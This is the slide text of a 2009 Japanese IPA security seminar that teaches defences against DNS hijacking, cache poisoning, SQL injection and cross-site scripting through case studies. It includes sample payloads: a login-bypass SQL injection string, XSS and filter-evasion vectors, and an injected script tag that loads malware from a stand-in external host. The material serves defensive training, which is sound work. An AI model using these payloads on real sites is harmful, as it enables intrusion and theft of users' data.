技 術 コース 専 門 編 について 対 象 企 業 等 のウェブサイト 公 開 やシステム 運 用 にお ける 安 全 性 向 上 について 理 解 を 深 めたい 方 ポイント 主 に 企 業 ウェブに 関 連 したセキュリティ 事 故 の ケーススタディによる 脅 威 と 対 策 の 技 術

2009年度IPA情報セキュリティセミナー

技術コース 専門編

本テキストのpdfファイルは

http://www.ipa.go.jp/security/event/2009/isec-semi/kaisai.html

技術コース 専門編について

• 対象

– 企業等のウェブサイト公開やシステム運用にお

ける安全性向上について理解を深めたい方

• ポイント

– 主に企業ウェブに関連したセキュリティ事故の

ケーススタディによる脅威と対策の技術的解説

技術コース 専門編の内容

ケーススタディ＋解説

１． DNS経由の不正アクセス

２． ウェブアプリケーションの脆弱性

３．インシデントレスポンス

ケーススタディ1

DNS経由の不正アクセス

会社のドメイン名が乗っ取られる？

ケーススタディ1

DNS経由の不正アクセス

1.1 DNSとは？

1.2 事例:会社のドメイン情報が乗っ取られる

1.3 何が起きていたのか

1.4 対策の前に

1.5 危険なDNS設定とは

1.6 LAME delegation の対策

1.7 DNSキャッシュポイズニング

1.1 DNSとは？

• DNS(Domain Name System)

• ホスト名

(例:www.example.jp)

から、アクセスに必要なIPアドレ

ス

(例:192.168.0.1)

を検索する世界的な分散データベース

• 自分で取得したドメイン名を使いたい場合、正式なDNS

サーバをドメイン名レジストリ(JPドメインはJPRS)に登録し

た上で、正式なDNSサーバを通じて公開する必要がある。

Windows でのクライアント設定例

http://www.example.jp

ホスト名

ドメイン名

FQDN (Fully Qualified Domain Name)

URLにおけるドメイン名の例

通信先

_192.168.0.1

1.2 事例:

会社のドメイン情報が乗っ取られる

• ソフトウェア開発会社 M

– 社員数約500名

– 公式の自社ウェブサイト以外にも、顧客サイトや、開発用

のテストサイトなどを運用

– ISMSやPマークの全社取得を目指し、情報の取扱や安

定稼働、セキュリティには注意している

– ネットワーク管理グループを設け、日々の運用でパッチ

の検査と適用を実施

– データセンターに基幹サーバを設置

– ネットワークは侵入防止システム(IPS)で24時間監視

社内ネットワーク環境

インターネットデータセンター(IDC)

M社 社内ネットワーク

WEB

DB

DNS

MAIL

インターネット

FW&IPS

FW&IPS

専用線

v

○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○○○○ ○○○○ ○○○○ ■■■■■■■■ ■■■■■■■■ ■■■■■■

社内

ユーザ

サーバ

エリア

• ある日突然、「御社のウェブサイトを

見たら、ウイルス対策ソフトが反応し

た」というクレームが来始めた

• 「これまでと違うページが見えること

がある」というクレームも複数

ウェブサイトを見た顧客からクレーム

ウェブアプリケーションは専門

企業に依頼して検査していたし、

OKも出ていたのに・・・

メールにも別ルートからクレームが

• M社（この会社）宛のメールが届かないことが

ある

• 届く場合でも、遅延していることがある

– 長いときは数日も届かない

• 全く問題がないケースも多数

ウェブのクレームと同じく、「ときどき」。

共通項はそれだけ。同じ原因？？

管理グループによる調査

•

メールの調査

• 外部からのメールに遅延が生じていることは確認

• サーバ負荷には問題はない

• 社内からメールを送信する場合は問題なさそう

•

ウェブサイトの調査

• 社内から確認したところでは問題ない

• バックエンド含めサーバ負荷にも問題はない

• 結局事象は確認できたが原因は特定できず

– 外部からのアクセスに集中しているので、ネットワーク回

線の不調か？

_{→ISP に調査を依頼したが、何も判明せ}

ず

社内から調査する

• 会社のウェブサイトのあ

るサーバや、DBを調べ

たが、怪しいものは見当

たらない

• クロスサイト・スクリプティ

ング? しかし、構築時に

セキュリティ検査済みだ

し、監視サービスも何も

言ってきていない。ログ

にも怪しい兆候はない

v

M

website

● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●●●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●●●● ●● ●● ●● ●● ●● ●● ●● ●● ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○○○○ ○○○○ ○○○○ ■■■■■■■■ ■■■■■■■■ ■■■■■■ ---<div class=“maincontent”> /* start - topic area */

<div class=“topic” id=“topic_xxxx”> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> </div> </div> <div class=“maincontent”> /* start - topic area */

<div class=“topic” id=“topic_xxxx”> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> </div> </div> <div class=“maincontent”> /* start - topic area */

<div class=“topic” id=“topic_xxxx”> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> </div> </div> <div class=“maincontent”> /* start - topic area */

<div class=“topic” id=“topic_xxxx”> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> </div> </div> <div class=“maincontent”> /* start - topic area */

<div class=“topic” id=“topic_xxxx”> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> </div> </div>

www: tail –f /var/log/apache/access_log [~/work]

<div class=“maincontent”> /* start - topic area */

<div class=“topic” id=“topic_xxxx”> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> </div> </div>

念のため社外から調査する

• 携帯電話回線（モバイル

カード）経由で見てみる

• 異常なし。・・・しかし、た

またまリロードしてみた

ら

ウイルス対策ソフトが

反応した

_!

• あれ、これうちのサイト

に似てるけど微妙に違う

• 連続的にリロードすると

何度かに一度

程度出て

くる

v

M

website

● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●●●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●●●● ●● ●● ●● ●● ●● ●● ●● ●● ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○○○○ ○○○○ ○○○○ ■■■■■■■■ ■■■■■■■■ ■■■■■■

---ウェブサイトのIPアドレスが違う？

• 知らないIPアドレスに誘導されている!？

C:¥WINDOWS>nslookup www.m.example.jp

Server: mobile.isp.example.com

Address: 10.1.1.1

Non-authoritative answer:

Name:www.m.example.jp

Addresses: 192.168.0.2 192.168.0.3

172.16.44.193

C:¥WINDOWS>nslookup –type=ns m.example.jp

Server: mobile.isp.example.com

Address: 10.1.1.1

Non-authoritative answer:

m.example.jp nameserver = ns.m.example.jp

m.example.jp nameserver =

ns-itaku.server.test

このIPアドレスは

何だ!?

全く知らないアド

レスだが・・・

あれ？このネー

ムサーバって、

以前に見たこと

がある・・・

1.3 何が起きていたのか

• 不正なDNSサーバが、正式なDNSサーバと

して動いていた

– 昔委託していたDNSサーバがあったが、業者の

撤退後、その業者が利用していたドメイン名を、

期限切れ後に第三者が取得したらしい

– レジストリの情報がそのままだったので、第三者

のサーバが正式なDNSサーバに…

• 数分の一の確率で偽サーバに誘導されてし

まう

(実装に依存)

解説：正式なDNSサーバとは

• そのドメイン名に関

する正しい情報を持

つ、権威あるネーム

サーバ

(Authoritative NS)

• 取得したドメイン名

の正式なDNSサー

バは、ドメイン名レジ

ストリに登録する必

要がある

ドメイン名レジストリ

(.JP ドメインならば JPRS が管理)

m.example.jp

の正式なDNSサーバ

・ns.m.example.jp

・ns2.m.example.jp

foobar.example.jp

の正式なDNS

サーバ

・ns.foobar.example.jp

・ns.extend.example.jp

不正なDNSサーバによる誘導

• アクセスした DNS サーバによって、宛先が

かわってしまう

本当のDNS

192.168.0.1

悪意あるDNS

172.16.44.193

www.example.jp

（Webサーバ）

→172.16.44.193

メールの宛先

→172.16.44.193

www.example.jp

（Webサーバ）

→192.168.0.2

メールの宛先（MX）

→192.168.0.4

本当のサーバ

192.168.0.4

悪意あるサーバ

172.16.44.193

メールサーバのIPアドレスを

教えてください

こちらのサーバに送れば

いいんですね

_{メールを奪取しました}

読んだので本来の

サーバに送付しておき

ますね

メールを受信しました

メールサーバのIPアドレスを

教えてください

こちらのサーバに送れば

いいんですね

[email protected] さん宛にメール

被害

• 急いでドメイン登録会社を通じ、DNSレジストリの登

録情報を修正する手続きを取った

• メールが読まれていた事から情報漏えいにもあた

るので、どれだけ被害があったかもう把握できない。

企業として謝罪する必要があり大打撃

• 公式ウェブサイトにアクセスしようとした人に、ウイ

ルスを感染させようとした

• ウェブサイトの誘導だけではなく、メールの宛先も

同様に誘導され、メールも読まれてしまっていた

参考: 最近のウイルスの動作

•

罠ウェブ経由/普通のウェブ経由

で感染

• ブラウザやプラグインの

複数の脆弱性

をついて侵入を試み

る

• 最初は小さくて流用しやすいプログラム(ダウンローダ)に感

染させる

• 実際の攻撃は別サイトからダウンロードしたコード(プログラ

ムそのもの)が行う

•

何がダウンロードされるかわからない

=対策パッチをあてて

も、そのパッチを掻い潜る次の攻撃手法が使われる

• ダウンロードや命令には、会社が制限できない内部→外部

のHTTP/HTTPSを利用し、

正規の通信に見せかける

。

参考: 近年の標的型攻撃に関する調査研究

1.4 対策の前に:

DNSサーバには2種類あります

DNSコンテンツサーバ

(Authoritative サーバ)

自分のドメイン名情報を管理し

外部に公開するのが目的

上位のドメイン情報に登録されることで

「正式なDNSサーバ」となる

DNSキャッシュサーバ

(Recursiveサーバ/Resolve サーバ)

内部からの要求により

外部のDNS情報を検索するのが目的

クライアントがインターネットの設定で

「DNSサーバ」として指定する

正式なDNSサーバへのアクセス方法

•

DNSの階層を辿る

には、一つ上のドメ

イン階層のサーバ

に正式なDNSサー

バが登録されてい

る必要がある

•

ルートDNSサーバ

から検索開始

•

日本(JPドメイン名)

はJPRSが管理す

るレジストリに登録

•

最終的に目的の情

報を持つDNSサー

バに辿りつく

http://www.example.jp にアクセス

DNSキャッシュサーバ

ルートDNSサーバ

全世界に13システム

A.DNS.JP

JPドメイン名用に5システム

NS.EXAMPLE.JP

example.jp.ドメイン名情報を管

理すると登録したDNSサーバ

DNSコンテンツサーバ

「

WWW.EXAMPLE.JP.」の情報は？

A.DNS.JP. が知っています

「

WWW.EXAMPLE.JP.」の情報は？

NS.EXAMPLE.JP. が知っています

「

WWW.EXAMPLE.JP.」の情報は？

192.168.0.2 です

www.example.jp は192.168.0.2 です

リクエスト

返答

1.5 危険なDNS設定とは:

ネットワークの実際と設定の不一致

• ネットワークの実体が

正式な状態とずれる要因

– 管理業者の移転や

サーバ設定の更新時の

設定変更忘れ

– ミススペルなどの

設定ミス

(example.jp

→ ex

ma

ple.jp)

dns.jp

ns.exam

ple.jp

ns2.exa

mple.jp

ns.ex

ma

ple.jp

root-servers.net

あるはずの無いサーバが正式なサーバに

LAME Delegation

と呼ばれる良くない状態となる

example.jp

の登録

・ns.ex

ma

ple.jp

・ns2.example.jp

example.jp

の登録

・ns.example.jp

・ns2.example.jp

LAME delegation 状態

• LAME delegation とは、正式なDNSサーバ

(Authority)として登録されたサーバがおかし

い状態

1. そもそも DNS サーバとして応答しない

2. 正式なサーバではないという意味の返答、

Non-authoritative answer が返ってくる

3. 複数のコンテンツサーバの応答が一致しない

問いあわせるサーバにより返答が違う

ドメイン情報ハイジャックの可能性

• 手つかずのドメインや失

効したドメインを取得し、

不正なDNSサーバを立

てられてしまう

• 内部で DNSサーバを

共用していると、

内部サーバで名前

解決されるので

被害に気がつきにくい

dns.jp

ns.exam

ple.jp

ns2.exa

mple.jp

ns.ex

ma

ple.jp

root-servers.net

第三者が EXMAPLE.JP ドメインを取得すると

正式なDNSサーバを勝手に立てられてしまう

example.jp

の登録

・ns.ex

ma

ple.jp

・ns2.example.jp

類例

_{→Typosquatting：有名なサイトとよく似たドメイン名を取得し、タイプミスを狙う}

不正なＤＮＳサーバを立てられると

• ウェブサイトへのアクセスを誘導できる

– フィッシング詐欺や認証情報の取得など

• メールの宛先をそのままに誘導できる

• メールアドレスがあれば、正式なSSL証明書

を取得できる可能性がある

• 現象が「ときどき」起きるので、調査は難

しく、放置してしまいがちになる

1.6 LAME delegation の対策

• 今から取れる保険的対策

– 組織の正しいDNSサーバを調査する

• ネットワーク上の現物調査ではなく、ネットワーク構成上そ

うあるべき正しいサーバを調査する。

• 自社のDNSサーバだけではなく、委託先のDNSサーバが

あれば、それも調査をおすすめします。

– DNSレジストリへの登録や、DNSサーバの設定が

違っていたら、正しい状態に修正する

• DNSレジストリの修正は、一般にドメイン名登録業者(レジ

ストラ)に依頼することとなります

• ウェブでのインタフェースが用意されている事も

• コンテンツサーバが複数ある場合は、同じドメイン名に関

する NS 情報は、全部同じ内容にしてください。

正式なDNSサーバの調査方法(1)

手順を踏んで調べる方法

• 自組織が運用している、「正式」なDNSサーバの一覧を調べ

る

• whois で、レジストリに登録されている「正式」なDNSサーバ

の一覧を調べる

• whois の結果返されたDNSサーバに、IPアドレスで

nslookup をし、NS レコードを調べる

• 全ての NS に指定されているサーバについてたどっていき、

本来そうあるべき一覧と違わなければOK

※参考:ドメイン名の登録と DNS サーバの設定に関する注意喚起(IPA)

http://www.ipa.go.jp/security/vuln/20050627_dns.html

正式なDNSサーバの調査方法(2)

簡易的に外部サイトを利用して調べる方法

根本的解決

• 2種類のＤＮＳサーバを機能ごとに分けて

構築する

– アクセス制限の対象や設定が全く違う

コンテンツサーバ

キャッシュサーバ

目的

自分のドメイン情報の管理

要求に応じたＤＮＳの検索

アクセス元

基本的に外部

組織内部

アクセスする主体

キャッシュサーバ

一般のコンピュータ

上位ドメインへの登録

○必要/Authoritative

×不要/Non-authoritative

他ドメイン情報の要求

×返答しない

○再帰的に検索して返答する

DNSサーバによるアクセス制限の違いに注意

混ぜるな危険

DNSサーバの種類により、全く違うアクセス制限が必要

DNSコンテンツサーバ

外部からのリクエスト中心

_{DNSキャッシュサーバ}

内部からのリクエスト中心

内部からの

リクエストが

本来の通信

インターネット

外部から利用す

る必要がない

キャッシュサーバは

外部のDNSサーバ

にアクセスできる必

要がある

直接外部の

DNSサーバに

アクセスする

必要はない

コンテンツサー

バは外部からア

クセスできる必

要がある

組織内部

その他よくある注意事項

•

DNS はゾーン転送以外にも TCP を使うので、53/udp だけでなく53/tcp も許可する必要

がある。可能ならばDNS サーバで EDNS0 を利用する。

•

コンテンツサーバで、ゾーンの TTL 設定が短かすぎる(30秒など)と攻撃を受けやすくなる。

まとめ

• DNS が LAME delegation 状態となっ

ている場合、状況によってはドメイン情

報をハイジャックされる危険性がある

• 自組織のDNSの設定を確認し、LAME

Delegation 状態があれば解消する

• これから作成するDNSサーバは、機能

ごとに分割して構築する

1.7 DNSキャッシュポイズニング

• キャッシュを偽情報で汚染する

www.example.jp?

www.example.jp?

XX.YY.XXX.YYY

XX.YY.XXX.YYY

問い合わせと応答の正常なやり取り

DNSキャッシュポイズニング

www.example.jp?

www.example.jp?

XX.YY.XXX.YYY

XX.ZZ.VVV.ZZZ

問い合わせと偽リプライを多数送信

（バースデイアタック型）

XX.ZZ.VVV.ZZZ

www.example.jp?

カミンスキーアタック

• 従来型より効率の良いDNSキャッシュポイズ

ニング

– 従来型は汚染に失敗するとTTL（Time To Live）

設定値の間次の攻撃を待つ必要があった

– 存在しないホスト名に関するクエリを、都度変えて

送れば、TTLは関係ない

• 001.example.jp、002.exsample.jp・・・

• 偽情報を持つDNSサーバに誘導する手法と、

直接キャッシュ情報を書き換える手法が存在

する

DNSキャッシュポイズニング

www.example.jp?

001.example.jp?

XX.ZZ.YYY.ZZZ

偽造応答にNSレコードを入れる

（カミンスキー型）

XX.ZZ.YYY.ZZZ

001.example.jp?

www.example.jp NS ns.evelexample.jp

のクエリIDが一致するまでクエリ

と偽応答を何度も送信する

www.example.jp?

キャッシュポイズニング対策

• 再帰問い合わせを制限・禁止

• ソースポート（クエリＩＤと同様に、汚染時に一

致させる必要があるもの）のランダマイズ

– パッチがリリースされている

– 確率を下げるだけなので、ゼロにはならない

• 連続的問い合わせの制限

• 詳細は

http://www.ipa.go.jp/security/vuln/DNS_se

curity.html

参考資料一覧

•

IPA ドメイン名の登録と DNS サーバの設定に関する注意喚起

http://www.ipa.go.jp/security/vuln/20050627_dns.html

•

IPA 近年の標的型攻撃に関する調査研究

http://www.ipa.go.jp/security/fy19/reports/sequential/index.html

•

JPRS DNS 関連技術情報

http://jprs.jp/tech/

•

JPNIC 逆引きネームサーバの適切な設定について

http://www.nic.ad.jp/ja/dns/lame/announce.html

ケーススタディ2

ウェブアプリケーションの脆弱性

企業サイトがウイルス感染の加害者に

ケーススタディ2

ウェブアプリケーションの脆弱性

2.1 SQLインジェクションとは

2.2 SQLインジェクション対策

2.3 クロスサイト・スクリプティングとは

2.4 クロスサイト・スクリプティング対策

Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー

攻撃の類型

• 直接攻撃

–データベース

–セッション管理への攻撃

• 間接攻撃

–コンテンツ改ざんによる罠

–スクリプトを悪用する罠

–認証を盗み、成りすます

Copyright (c) 2009 NPO日本ﾈｯﾄﾜｰｸｾｷｭﾘﾃｨ協会

40

2.1 SQLインジェクションとは

• 本来直接操作できないデータベー

スを外部から操作されてしまう

• 原因

– データベースへの命令の組み

立て方に問題

SQL文を使ったデータベースとのやり取り

• データベースへの問い合わせはウェブアプリ

ケーションが行う

id:sonodam

password:sonopass

select * from

idtable where id =

„sonodam‟ and

password=

„sonopass‟;

該当データ有り

ようこそ「園田」さん

ウェブアプリケーションが問い合わせ代行、翻訳を行っている

ウェブアプリ

ケーション

データベース

SQLインジェクション攻撃

• 外部からSQL文を「挿入」されてしまう

id:sonodam

password:test‟ or

„A‟ = „A

select * from idtable

where id = „sonodam‟

and password= „test‟

or „A‟ = „A‟;

該当データ有り

ようこそ「園田」さん

ウェブアプリケーションがSQL文をスルーしていることが原因

ウェブアプリ

ケーション

データベース

$p

=foo

'

or

'

a

'

=

'

a の場合：

SELECT * FROM a WHERE id=' ';

$p

=foo の場合：

SELECT * FROM a WHERE id=' ';

$p

=foo の場合：

SELECT * FROM a WHERE id='foo';

なぜ SQL 文を挿入されてしまうのか？

•

特別な意味を持つ記号文字

の扱いが不適切。

SELECT * FROM a WHERE id='

$p

';

$p

=foo

'

or

'

a

'

=

'

a の場合：

SELECT * FROM a WHERE id='foo

'

or

'

a

'

=

'

a';

変数中の

記号文字

が意味のある文字として解釈される。

2.1 SQLインジェクションとは（続き）

• 生じうる脅威

– 秘密情報、個人情報等の漏えい

– 重要情報の改ざん、破壊

• ウェブサイト上にウイルスを「埋め込まれる」

– 任意のコード・コマンドを実行される

• 別のサーバを攻撃する踏み台となる

狙われるCMSのコンテンツ

• データベースに格納されたコンテンツ

データ（HTMLデータなどを含む）を汚染

する

• 外部のスクリプトを読み込ませて、ウイ

ルスをダウンロードさせる仕組み

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang=“ja”>

<head>

<title>Welcome to “C” shopping site</title>

<link rel="stylesheet" href="style.css" TYPE="text/css">

<script src=“http：//othersite.example.net/3.js”></script>

</head>

SQLインジェクションによる 改ざん・情報漏洩事件 ツールによる攻撃が激化 JSOCから注意喚起を配信 さらにツールが進化 水面下で売買 検索エンジンの悪用 2009年1月 攻撃検知数 1,508,852件 2009年3月 攻撃検知数 285,548件 2009年7月 攻撃検知数 60,638件 2008年12月 攻撃検知数 15,027,791件 ボットネット悪用の 急増

SQLインジェクションの爪痕

UPDATE

pages

SET

"

created_at

" =

'2006-09-05

16:19:46

', "

template

" = '

toppage.tmpl

',

"

verified

" = 1, "

role

" = NULL, "

published

" = 0,

contents=“

<html><head>

...

/shop/cart/?no= ...

%20

SELECT

%20 ...

%20

FROM

%20 ...

%20

WHER

E

%20 ...

%20

HAVING

%20 ...

(...)

/shop/cart/?no= ...

%20

SELECT

%20 ...

%20

FROM

%20 ...

%20

WHER

E

%20 ...

%20

ORDER

%20 ...

ウェブサーバのログに怪しい痕跡が・・・

ログ解析ツールiLogScanner



解析結果のレポート例

攻撃成功の可能性は

検出されなかった。

47件のSQLインジェクション攻撃を検出

攻撃成功は0件



解析結果のログ例

攻撃元のIPアドレス

攻撃のあった時刻

ウェブサイトの脆弱性検出ツール iLogScanner

2.2 SQLインジェクション対策

• 根本的解決（原因を無くす）

– バインド機構（プリペアードステートメント）の利用

– エスケープ処理

– エスケープ以前の問題

• 保険的対策（取りあえずの回避策）

– エラーメッセージの非表示

– データベースアカウントの権限見直し

– その他の対策

バインド機構を利用 (例: Perl DBI)

• 変数と関係なく構文解釈を行うため、

SQLインジェクションはありえない

$sth = $dbh->prepare(

"SELECT id, name, tel, address, mail FROM usr

WHERE uid=

?

AND passwd=

?

");

$sth->execute(

$uid

,

$passwd

);

プレースホルダ

バインド変数

参考：セキュアDBプログラミング「バインドメカニズムを活用しよう」

バインド機構を利用 (例: Java)

String parameter = ユーザが入力した値;

Connection c = データベース接続オブジェクトの取得;

// 値を埋め込む前の形のSQL文をコンパイルし、構文を確定

PreparedStatement st = c.prepareStatement("SELECT name,

price FROM product_table WHERE code=

?

");

st.setString(1,

parameter

);

// ? の場所に値を埋め込む

ResultSet rs = st.executeQuery(); // クエリの実行

http://www.ipa.go.jp/security/awareness/vendor/programmingv2/web02.htmlよ

り引用。

バインド機構を利用

(例: PostgreSQL+PHP)

<?php

String parameter = ユーザが入力した値;

$dbc = pg_connect("dbname=pg_db"); // データベース接続

// 値を埋め込む前の形のSQL文をコンパイルし、構文を確定

$result = pg_prepare($dbc, "query1", 'SELECT name, price

FROM product_table WHERE code=

$1

');

// $1の場所に値を指定してクエリの実行

$result = pg_execute($dbc, "query1", array(

parameter

));

?>

http://www.ipa.go.jp/security/awareness/vendor/programmingv2/web02.htmlよ

り引用。

エスケープ処理

（根本的解決）

•

エスケープ処理の実施。

特別な意味を持つ記号文字

が

普通の文字

として解

釈されるように処理する。

例：' → ''（同じ文字の繰り返し）

$p

=foo

'

or

'

a

'

=

'

a の場合：

SELECT * FROM a WHERE id='foo

''

or

''

a

''

=

''

a';

変数中の ‘（シングルクォート）が、普通の文字として

解釈される。

同様に、バックスラッシュ’¥’にも繰り返しによるエス

ケープ処理が必要な場合がある。

実際のエスケープ処理

• エスケープ関数

（Perl の DBI quote() や PHP の

dbx_escape_string()）

• 置き換え演算子等で自己エスケープ処

理

（ s/'/''/g; など）

エスケープ処理以前の問題

（根本的解決）

• 外部から SQL 文を直接入力する。

• 「論外」であり、避けるべき実装である。

<html>

<form>

<input type="hidden" value="SELECT * FROM ...">

エラーメッセージを表示すると・・・

• 攻撃者の視点では、こう見える

– データベースを利用→SQL インジェクションの可能性。

– SQL エラーに気を使っていない→攻略の可能性。

– エラー内容にSQL文が含まれる→レコード定義が推測で

きる&試行錯誤すればどんどん調査できる可能性。

– エラー内容から攻略方法を検討・・・。

■名前：

悪人 太郎

SQL error with query SELECT a.name,

a.displname, a.passwd, a.expire_date, a.create_date, a.misc

FROM account as a WHERE a.category=7 ORDER BY c.date:

Can't open file: „account.MYD'. (errno: 145)

エラーメッセージを非表示にする

（保険的対策）

• ウェブアプリケーションで対応。

–アプリケーションでエラーメッセージ表

示処理を用意して、それを呼び出す。

• データベースの設定で対応。

–設定で変更。

• ウェブサーバの設定で対応。

–設定でエラー時の応答を設定。

エラーメッセージを非表示にする

（保険的対策）

• ウェブサーバでの設定例

– Microsoft IIS 6

• この設定で、ASP のエラーは全て置き換えられる。

※ デフォルト値は

「クライアントに詳細

な ASP のエラー

メッセージを送る」

なので注意！

エラーメッセージを非表示にする

（保険的対策）

• ウェブサーバでの設定例

– PHP 5

– エラーを表示しないだけでは駄目で、エラーの内容を選別し

て、ログに記録するようにしておく必要がある。

(php.ini などで)

display_errors=Off

：エラーをHTMLとして画面出力するか

display_startup_errors=Off

; PHPの初期動作時点で起きるエラーを

HTMLとして画面出力するか

他、

error_reporting

; エラーの表示内容を設定

log_errors

; ログにエラー出力を行うか設定

データベースの権限は制限する

（保険的対策）

• 「

権限全部入り

」のアカウントは

使わない。

×

sa (System Administrator)

×

dba (Database Administrator)

• データベース毎に専用のアカウントを作り、

権限を制限して使う。

• 既存のテーブルを読み書きするだけなのに、

テーブル操作や管理等の権限はいらない。

• 権限を必要最小限にすれば、防げる攻撃も

ある。

その他の対策（ビジネスの話も含む）

（保険的対策）

• DBに格納する情報を見直す

• 収集する情報を見直す

– 必要最小限の情報しか格納しない

• サービスを見直す

• パスワードはそのまま保存しない

– ハッシュ値を保存する

変なリスクを負ってまで

やる必要があるのか？

•

SQL文の組み立てには必ず

エスケープ処理を実装する。

•

公開ページでは、エラー

メッセージをそのまま

ブラウザに表示しない。

まとめ：SQLインジェクションの対策

2.3 クロスサイトスクリプティングとは

• 罠に仕込まれたスクリプトが知らぬ

間に動作してしまう

• 原因

– ユーザーに送るHTMLデータの

作成方法に問題

危険のない普通のアクセス

危険が無い

ウェブサイト

お気に入りや

ブックマーク

危険なアクセス

脆弱なウェブサイト

汚染済みデータ

仕掛けられた爆弾

（スクリプト）が手元

で爆発する

危険のないアクセス

爆弾は爆発する形

で手元に来ない

危険が無い

ウェブサイト

スクリプトを埋め込まれた結果・・・

• Cookie が盗まれる

–セッション ID などの情報が盗まれる

• フォーム入力のデータが盗まれる

–ユーザーID、パスワード

• ページに偽情報が表示される

スクリプトでできること

はほとんど可能

2.4 クロスサイトスクリプティング対策

• ユーザーにHTMLテキストの入力を許

可しない場合と、許可する場合では対

策が異なる

– HTMLテキストを許可する場合は、タグを

選択的に許可する必要がある

– それぞれに「根本的対策」、「保険的対策」

がある

HTMLテキストの入力を許可しない場合

• 根本的解決

–エスケープ処理

–URL 出力時のスキーム確認

–スクリプトを動的に生成しない

–スタイルシートを動的に生成しない

• 保険的対策

–入力値チェック

エスケープ処理

（HTML不許可/根本的解決）

& → &amp;

" → &quot;

< → &lt;

> → &gt;

' → &#039;

•

「記号文字」を置換

（HTMLを許可しない場合）

•

例：

入力値：

<

script

>

alert(

"

test

"

);

<

/script

>

置換後：

&lt;

script

&gt;

alert(

&quot;

test

&quot;

);

&lt;

/script

&gt;

URL 出力時のスキーム確認

（HTML不許可/根本的解決）

• URL の中に埋め込まれる場合

– URL の入力を許可している場合、URL の形で

スクリプトを埋め込まれることがある。

例: javascript:alert('IPA');

– 利用者にリンクの入力を許している場合は、要

注意。

• URL 出力時は http:// と https:// のみを許可

– data: や javascript: などのスキームを防ぐ

– ブラックリスト方式では漏れてしまう

スクリプトを動的に生成しない

（HTML不許可/根本的解決）

• スクリプトそれ自体を、外部からの入力に基

づいて動的に生成しない。

– 例:

<script>～</script> の内容

<script src="～"> の参照先

• 危険なスクリプトを検出して排除する方法も

考えられるが、確実な判断は難しい。

スタイルシートを動的に生成しない

（HTML不許可/根本的解決）

• スタイルシート内での expression() などによ

るスクリプト埋め込みを防ぐ。

– スタイルシートの入力を許可している場合、その

中にスクリプトを埋め込まれることがある。

例: width: expression(alert('XSS'));

– 利用者にスタイルシートの入力を許している場合

は、要注意。

• 危険なスクリプトを検出して排除する方法も

考えられるが、確実な判断は難しい。

• チェックのタイミングを意識する

– 出力時の値に注目

入力値

チェック

入力値

処理

出力

処理

入力値

入力値

処理済み

入力値

出力対象

に注目！

入力値チェック

（HTML不許可/保険的対策）

•

ブラックリストチェックは保険的対策でしかない

•

「出力直前」のチェックが有効

ここでのチェックは回

避されるおそれ有り

2.4 クロスサイト・スクリプティング対策（続き）

• HTML テキストの入力を許可する場合

– 根本的解決

• 構文解析木を作成して、必要な要素のみを抽出

– 保険的対策

• 入力された HTML テキストから、スクリプトを除く

• 共通

– 根本的解決

• 文字コードの指定を行う

構文木を作成する

（HTML許可/根本的解決）

• 複雑な処理であり、十分な検討が必要。

html

head

title

meta

link

body

table

thead

tbody

p

a

font

script

【例】

入力値チェック

（HTML許可/保険的対策）

• スクリプトを無害な文字列に置換す

る

–「<script>」 → 「<

x

script>」

–「javascript:」 → 「

x

javascript:」

• 完全な対策は困難

–「java&#09;script:」

–「 java（改行コード）script: 」

文字コード指定を行う

（共通/根本的解決）

• ウェブブラウザが、ウェブサイトの意図と反す

る文字コード解釈をする場合があり、ウェブ

サイト側での対策の効果がなくなる。

• Content-Type: ヘッダでの指定

– Content-Type: text/html; charset=euc-jp

• meta タグでの指定方法

– <meta http-equiv="Content-Type"

content="text/html; charset=euc-jp">

包括的なクロスサイト・スクリプティング対策

• プログラマーにセキュリティの知識を行き届

かせ、コードのレベルを上げるのは難しい

• →フレームワークの利用

– 例: Struts(Java), Smarty(PHP),

CakePHP,Ruby on Rails

– エスケープ処理やSQLインジェクション対策など

が組み込まれている

– 内容、限界を見極めて採用する必要はある

• 漏れが起きる可能性を尐なくする

まとめ：クロスサイト・スクリプティング

• ウェブページを「出力」する際の配慮を怠ると、

クロスサイト・スクリプティングの脆弱性が生じ

る。

• 全ての個所に対策を施す必要がある。

